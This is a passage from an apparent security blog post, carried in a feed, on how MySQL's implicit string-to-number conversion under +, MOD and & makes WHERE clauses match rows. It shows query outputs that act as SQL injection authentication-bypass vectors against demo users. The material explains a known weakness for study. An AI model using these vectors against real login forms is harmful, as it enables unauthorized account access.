&lt;span class=&quot;k&quot;&gt;INSERT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;INTO&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;`users`&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;`username`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;`password`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;VALUES&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'MySuperS3cretPass!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;INSERT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;INTO&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;`users`&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;`username`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;`password`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;VALUES&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'666admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'nataSmaI'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here are the results of some attack vectors.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mysql&amp;gt; SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b';
+--------+----------+--------------------+
| userid | username | password           |
+--------+----------+--------------------+
|      1 | admin    | MySuperS3cretPass! |
+--------+----------+--------------------+
1 row in set, 7 warnings (0.00 sec)

mysql&amp;gt; SHOW WARNINGS;
+---------+------+--------------------------------------------------------+
| Level   | Code | Message                                                |
+---------+------+--------------------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin'              |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b'                  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a'                  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'MySuperS3cretPass!' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b'                  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a'                  |
| Warning | 1292 | Truncated incorrect DOUBLE value: '666admin'           |
+---------+------+--------------------------------------------------------+
7 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mysql&amp;gt; SELECT * FROM users WHERE username = 'a'+'666' AND password = 'a'+'b';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      2 | 666admin | nataSmaI |
+--------+----------+----------+
1 row in set, 6 warnings (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mysql&amp;gt; SELECT * FROM users WHERE username = 'a'MOD'1' AND password = 'a'MOD'1';
+--------+----------+--------------------+
| userid | username | password           |
+--------+----------+--------------------+
|      1 | admin    | MySuperS3cretPass! |
+--------+----------+--------------------+
1 row in set, 5 warnings (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In the following example, &lt;code&gt;'a'&lt;/code&gt; and &lt;code&gt;'b'&lt;/code&gt; are converted to the INTEGER &lt;code&gt;0&lt;/code&gt;, because &lt;code&gt;&amp;amp;&lt;/code&gt; is a bit function.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mysql&amp;gt; SELECT * FROM users WHERE username = 'a'&amp;amp;'b' AND password = 'a'&amp;amp;'b';
+--------+----------+--------------------+
| userid | username | password           |
+--------+----------+--------------------+
|      1 | admin    | MySuperS3cretPass! |
+--------+----------+--------------------+
1 row in set, 7 warnings (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;</content><author><name>Tom Van Goethem</name></author><summary type="html">In some languages, using arithmetic operators on elements that aren’t numeric, give some weird results. In JavaScript for example, [ ] + { } is an Object, while { } + [ ] appears to be NaN. If these kind of obscure actions occur in a parser that is counted on to be very reliable, things can go bad real quickly. Let’s look at how MySQL behaves… Trying to add two integers in MySQL will result in an integer of the sum of the given integers. Simple and straightforward, as you can see below. mysql&amp;gt; SELECT 1+1; +-----+ | 1+1 | +-----+ | 2 | +-----+ 1 row in set (0.00 sec)</summary></entry></feed>